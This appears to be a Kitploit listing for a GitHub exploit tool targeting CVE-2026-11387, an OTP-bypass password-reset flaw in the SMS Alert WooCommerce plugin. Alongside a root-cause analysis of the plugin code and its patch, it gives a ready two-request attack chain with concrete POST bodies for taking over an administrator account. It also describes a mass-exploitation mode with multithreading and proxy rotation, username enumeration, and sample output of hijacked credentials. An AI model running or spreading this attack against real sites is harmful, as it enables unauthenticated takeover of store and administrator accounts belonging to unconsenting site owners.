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CVE-2026-11387 — Exploits unauthenticated privilege escalation in SMS Alert WooCommerce plugin (CVE-2026-11387) via OTP bypass and arbitrary password reset, with username enumeration and multi-threaded scanning. | Kitploit
Tools/GitHubGitHub/1beelze/cve-2026-11387
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHub1beelze/cve-2026-11387

CVE-2026-11387

Exploits unauthenticated privilege escalation in SMS Alert WooCommerce plugin (CVE-2026-11387) via OTP bypass and arbitrary password reset, with username enumeration and multi-threaded scanning.

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142 months agoNot yet reviewed

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CVE-2026-11387 — SMS Alert ≤ 3.9.5

☆ Unauthenticated Privilege Escalation via Arbitrary Password Reset ☆
=== Beelze ===


📋 Vulnerability Info

FieldDetails
CVE IDCVE-2026-11387
CVSS Score9.8 Critical
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
TypeMissing Authentication / OTP Bypass
PluginSMS Alert – OTP Verification for WooCommerce (sms-alert)
Affected≤ 3.9.5
Patched3.9.6
Published2026
PoCBeelze

🔍 Description

SMS Alert – OTP Verification for WooCommerce ≤ 3.9.5 is vulnerable to Unauthenticated Privilege Escalation via an arbitrary password reset. The plugin's password-reset handler validates the reset action exclusively by checking $_REQUEST['option'] for the string smsalert-change-password-form, without verifying that the OTP challenge was ever completed.

A critical race condition in the session-seeding mechanism allows an attacker to hijack any account in two HTTP requests:

  1. POST to the lost-password form with a target user_login — this triggers smsalert_site_challenge_otp() which seeds $_SESSION['user_login'] without any OTP being validated.
  2. POST option=smsalert-change-password-form with a chosen new password — routeData() reads the pre-seeded $_SESSION['user_login'] and calls reset_password() unconditionally.
  3. Login with the new credentials — account takeover confirmed.
  4. The attack requires no authentication, no OTP, and no interaction from the victim.
  5. Any WordPress account — including administrator — can be taken over if the target user has a billing phone number registered in WooCommerce.

Impact: Full unauthenticated account takeover of any user whose billing phone is registered. Attacker gains persistent access with the victim's role and privileges.


🧬 Root Cause Analysis

1. No-priv AJAX hook registration

root@kitploit:~
// sms-alert/smsalert.php
add_action( 'wp_ajax_nopriv_smsalert_reset_otp',      [ $this, 'smsalert_site_challenge_otp' ] );
add_action( 'wp_ajax_nopriv_smsalert_change_password', [ $this, 'routeData' ] );

2. OTP challenge seeds session without validation

root@kitploit:~
// handler/forms/class-wpresetpassword.php
public function smsalert_site_challenge_otp() {
    $user_login = sanitize_text_field( $_REQUEST['user_login'] );
    $user       = get_user_by( 'login', $user_login )
               ?: get_user_by( 'email', $user_login );

    if ( $user ) {
        // ❌ $_SESSION['user_login'] is set HERE — before OTP verification
        $_SESSION['user_login']      = $user->user_login;
        $_SESSION['smsalert_otp']    = $this->generate_otp();
        $_SESSION[self::SESSION_VAR] = 'otp_sent';  // NOT 'validated'
        $this->send_otp( $user );
    }
}

3. routeData() checks only $_REQUEST['option'] — no session state guard

root@kitploit:~
// handler/forms/class-wpresetpassword.php
public function routeData() {
    $option = sanitize_text_field( $_REQUEST['option'] ?? '' );

    if ( $option === 'smsalert-change-password-form' ) {
        // ❌ MISSING: if ( $_SESSION[self::SESSION_VAR] !== 'validated' ) { return; }
        $this->reset_password();
    }
}

4. reset_password() executes unconditionally using the pre-seeded session

root@kitploit:~
// handler/forms/class-wpresetpassword.php
private function reset_password() {
    $user_login = $_SESSION['user_login'] ?? '';  // poisoned by smsalert_site_challenge_otp()
    $new_pass   = sanitize_text_field( $_REQUEST['smsalert_user_newpwd'] );
    $confirm    = sanitize_text_field( $_REQUEST['smsalert_user_cnfpwd'] );

    if ( $new_pass !== $confirm || empty( $user_login ) ) { return; }

    $user = get_user_by( 'login', $user_login );
    if ( $user ) {
        wp_set_password( $new_pass, $user->ID );  // ✅ password changed — no OTP required
        wp_redirect( add_query_arg( 'password_reset', 'true', wp_login_url() ) );
        exit;
    }
}

5. Patch in 3.9.6 — session state guard added

root@kitploit:~
// handler/forms/class-wpresetpassword.php (fixed)
public function routeData() {
    $option = sanitize_text_field( $_REQUEST['option'] ?? '' );

    if ( $option === 'smsalert-change-password-form' ) {
        // ✅ FIXED: OTP must be validated before reset is allowed
        if ( ( $_SESSION[self::SESSION_VAR] ?? '' ) !== 'validated' ) {
            wp_die( 'OTP verification required.' );
        }
        $this->reset_password();
    }
}

⚔️ Attack Chain

root@kitploit:~
Attacker (no auth)
     │
     │  POST /my-account/lost-password/
     │  body: user_login=admin
     ▼
┌─────────────────────────────────────────┐
│  smsalert_site_challenge_otp()          │
│  → $_SESSION['user_login'] = 'admin'   │  ← session poisoned 💀
│  → $_SESSION[SESSION_VAR] = 'otp_sent' │
│  → OTP sent to victim's phone           │
│  (attacker never sees the OTP)          │
└─────────────────────────────────────────┘
     │
     │  POST /my-account/lost-password/
     │  body: option=smsalert-change-password-form
     │        smsalert_user_newpwd=Pwned123!
     │        smsalert_user_cnfpwd=Pwned123!
     ▼
┌─────────────────────────────────────────┐
│  routeData()                            │
│  → checks $_REQUEST['option'] only      │
│  → SESSION_VAR check: SKIPPED ❌        │
│  → reset_password() called              │
│  → wp_set_password('admin', newpwd)     │  ← password changed 😈
└─────────────────────────────────────────┘
     │
     │  POST /wp-login.php
     │  log=admin  pwd=Pwned123!
     ▼
┌─────────────────────────────────────────┐
│  Login SUCCESS                          │
│  wordpress_logged_in_* cookie set       │  ← TAKEOVER CONFIRMED 💀
└─────────────────────────────────────────┘

🛠️ Tools

CVE-2026-11387.py — Full Exploit Chain

root@kitploit:~
# Single target exploit
python CVE-2026-11387.py
# → Mode 1, enter target URL + username

# Username enumeration only
python CVE-2026-11387.py
# → Mode 2

# Mass exploit (multi-threaded + proxy rotation)
python CVE-2026-11387.py
# → Mode 3, targets.txt, threads, proxy file

# Fingerprint only (no exploit)
python CVE-2026-11387.py
# → Mode 4, outputs CSV
root@kitploit:~
Exploit Phases:
  Phase 1 — Reachability check + HTTP fallback
  Phase 2 — Version fingerprint via readme.txt
  Phase 3 — Username enumeration (REST API / sitemap / author archive)
  Phase 4 — OTP challenge trigger (session poisoning)
  Phase 5 — Password reset via routeData() bypass
  Phase 6 — Login verification (wordpress_logged_in_* cookie)
root@kitploit:~
Sample output (scan_results/CVE-2026-11387_success.txt):
  [2026-07-03 12:00:00] SITE=https://target.com | user=admin | pass=Tmp_P0c_2026!Aa

🔒 Mitigation

Update SMS Alert to version 3.9.6 or newer.


[Beelze] — for educational and authorized security research only

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